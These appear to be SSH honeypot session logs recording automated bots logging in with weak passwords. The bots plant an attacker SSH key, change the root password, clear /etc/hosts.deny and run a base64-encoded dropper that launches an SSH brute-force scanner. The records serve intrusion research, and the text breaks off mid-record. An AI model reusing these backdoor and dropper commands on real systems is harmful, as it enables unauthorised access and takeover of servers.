\"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-24T23:29:11.645596+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":47,"at":"2026-08-24T23:29:11.646026+00:00","kind":"output","latency_ms":null,"data":"frontend"}],"credentials":[{"username":"frontend","password":"P@ssw0rd","method":"password","accepted":true,"tier":"other"}]} {"id":"720af6ad-98e8-4b27-a642-3b871d4b908a","name":"dapper-clever-hummingbird","protocol":"ssh","channel_kind":"exec","src_ip":"43.165.190.208","src_port":34868,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":558,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T22:07:11.630448+00:00","ended_at":"2026-08-24T22:07:11.802058+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":6826,"events":[{"seq":1,"at":"2026-08-24T22:06:33.094630+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T22:06:33.653966+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T22:06:38.865122+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T22:06:38.865532+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T22:06:39.424622+00:00","kind":"input","latency_ms":null,"data":"echo \"root:lEyGOCMQl3og\"|chpasswd|bash"},{"seq":6,"at":"2026-08-24T22:06:39.863101+00:00","kind":"output","latency_ms":438,"data":""},{"seq":7,"at":"2026-08-24T22:06:39.980970+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-24T22:06:40.538144+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-24T22:06:40.538843+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-24T22:06:41.097574+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-24T22:06:41.659083+00:00","kind":"output","latency_ms":561,"data":"15888 121 15767 0 0 0"},{"seq":12,"at":"2026-08-24T22:06:42.218798+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-24T22:06:42.703643+00:00","kind":"output","latency_ms":484,"data":"-rwxr-xr-x 1 root root 142K Aug 10 14:22 /usr/bin/ls"},{"seq":14,"at":"2026-08-24T22:06:43.262922+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T22:06:43.263410+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-24T22:06:43.822385+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-24T22:06:43.822738+00:00","kind":"output","latency_ms":null,"data":" 22:06:43 up 4 days, 18:56, 0 user, load average: 0.26, 0.29, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-24T22:06:44.380732+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-24T22:06:44.381285+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-24T22:06:44.937395+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-24T22:06:44.938235+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-24T22:06:45.498999+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-24T22:06:45.499686+00:00","kind":"output","latency_ms":null,"data":"top - 22:06:45 up 4 days, 18:56, 0 user, load average: 0.26, 0.29, 0.22\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-24T22:06:46.058822+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-24T22:06:46.059519+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-24T22:06:46.619262+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-24T22:06:46.619932+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-24T22:06:47.177950+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-24T22:06:47.178483+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-24T22:06:47.737082+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-24T22:06:51.075713+00:00","kind":"output","latency_ms":3334,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC"},{"seq":32,"at":"2026-08-24T22:06:51.631772+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-24T22:06:53.162304+00:00","kind":"output","latency_ms":1529,"data":"24G"},{"seq":34,"at":"2026-08-24T22:06:55.002402+00:00","kind":"input","latency_ms":null,"data":"echo \"root root14\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-24T22:06:55.560739+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-24T22:06:56.026680+00:00","kind":"output","latency_ms":463,"data":""},{"seq":37,"at":"2026-08-24T22:06:57.543054+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-24T22:06:58.599050+00:00","kind":"output","latency_ms":1056,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-24T22:06:59.158253+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-24T22:06:59.689379+00:00","kind":"output","latency_ms":527,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-24T22:07:00.253683+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T22:07:00.806962+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-24T22:07:01.254293+00:00","kind":"output","latency_ms":447,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-24T22:07:01.814958+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-24T22:07:02.262063+00:00","kind":"output","latency_ms":446,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-24T22:07:02.823130+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-24T22:07:11.631549+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-24T22:07:11.632015+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"root14","method":"password","accepted":true,"tier":"other"}]} {"id":"33711d99-bb98-4dec-8455-b964f5c6c109","name":"ashen-languid-capuchin","protocol":"ssh","channel_kind":"exec","src_ip":"43.153.205.159","src_port":39638,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":782,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T22:04:42.105280+00:00","ended_at":"2026-08-24T22:04:42.350865+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3989,"events":[{"seq":1,"at":"2026-08-24T22:03:59.398350+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T22:04:00.168551+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T22:04:05.990615+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T22:04:05.992293+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T22:04:06.764279+00:00","kind":"input","latency_ms":null,"data":"echo \"root:YjuvlKAMVRz5\"|chpasswd|bash"},{"seq":6,"at":"2026-08-24T22:04:07.524628+00:00","kind":"output","latency_ms":762,"data":""},{"seq":7,"at":"2026-08-24T22:04:07.532902+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-24T22:04:08.308949+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-24T22:04:08.309526+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-24T22:04:09.090761+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-24T22:04:09.671171+00:00","kind":"output","latency_ms":577,"data":"15888 4120 9768 128 1784 8336"},{"seq":12,"at":"2026-08-24T22:04:10.446856+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-24T22:04:11.393166+00:00","kind":"output","latency_ms":946,"data":"-rwxr-xr-x 1 root root 147K Aug 20 03:09 /usr/bin/ls"},{"seq":14,"at":"2026-08-24T22:04:12.183198+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T22:04:12.183643+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-24T22:04:12.969795+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-24T22:04:12.970276+00:00","kind":"output","latency_ms":null,"data":" 22:04:12 up 4 days, 18:54, 0 user, load average: 0.18, 0.17, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-24T22:04:13.745164+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-24T22:04:13.745914+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-24T22:04:14.536788+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-24T22:04:14.537242+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-24T22:04:15.316209+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-24T22:04:15.316804+00:00","kind":"output","latency_ms":null,"data":"top - 22:04:15 up 4 days, 18:54, 0 user, load average: 0.18, 0.17, 0.19\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-24T22:04:16.100091+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-24T22:04:16.100539+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-24T22:04:16.876117+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-24T22:04:16.876995+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-24T22:04:17.677838+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-24T22:04:17.678313+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-24T22:04:18.467487+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-24T22:04:19.682962+00:00","kind":"output","latency_ms":1215,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-24T22:04:20.459083+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-24T22:04:21.185937+00:00","kind":"output","latency_ms":725,"data":"25G"},{"seq":34,"at":"2026-08-24T22:04:23.625241+00:00","kind":"input","latency_ms":null,"data":"echo \"root SiChuanLT\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-24T22:04:24.395827+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-24T22:04:24.899133+00:00","kind":"output","latency_ms":501,"data":""},{"seq":37,"at":"2026-08-24T22:04:27.163439+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-24T22:04:27.871711+00:00","kind":"output","latency_ms":708,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-24T22:04:28.652875+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-24T22:04:29.140782+00:00","kind":"output","latency_ms":485,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-24T22:04:29.923158+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T22:04:30.707623+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-24T22:04:31.208075+00:00","kind":"output","latency_ms":499,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-24T22:04:31.991087+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-24T22:04:32.459311+00:00","kind":"output","latency_ms":467,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-24T22:04:33.241779+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-24T22:04:42.106487+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-24T22:04:42.106882+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"SiChuanLT","method":"password","accepted":true,"tier":"other"}]} {"id":"f6f3ca3f-8bb8-4346-9617-014935b9dd74","name":"burly-patient-vicuna","protocol":"ssh","channel_kind":"exec","src_ip":"141.95.54.130","src_port":59206,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":308,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T21:25:17.339639+00:00","ended_at":"2026-08-24T21:25:17.428604+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":4003,"events":[{"seq":1,"at":"2026-08-24T21:24:48.750630+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T21:24:49.057820+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T21:24:54.310637+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T21:24:54.311139+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T21:24:54.622675+00:00","kind":"input","latency_ms":null,"data":"echo \"root:NVTAebNvwU7l\"|chpasswd|bash"},{"seq":6,"at":"2026-08-24T21:24:54.935887+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-24T21:24:55.247870+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-24T21:24:55.248566+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-24T21:24:55.286559+00:00","kind":"output","latency_ms":663,"data":""},{"seq":10,"at":"2026-08-24T21:24:55.557589+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-24T21:24:56.245810+00:00","kind":"output","latency_ms":687,"data":"15888 4231 11657 0 0 0"},{"seq":12,"at":"2026-08-24T21:24:56.554704+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-24T21:24:57.505920+00:00","kind":"output","latency_ms":950,"data":"-rwxr-xr-x 1 root root 148K Jan 18 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-24T21:24:57.814770+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T21:24:57.815225+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-24T21:24:58.123566+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-24T21:24:58.123998+00:00","kind":"output","latency_ms":null,"data":" 21:24:58 up 4 days, 18:15, 0 user, load average: 0.22, 0.16, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-24T21:24:58.431623+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-24T21:24:58.432308+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-24T21:24:58.742534+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-24T21:24:58.743199+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-24T21:24:59.053345+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-24T21:24:59.053733+00:00","kind":"output","latency_ms":null,"data":"top - 21:24:59 up 4 days, 18:15, 0 user, load average: 0.22, 0.16, 0.2\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 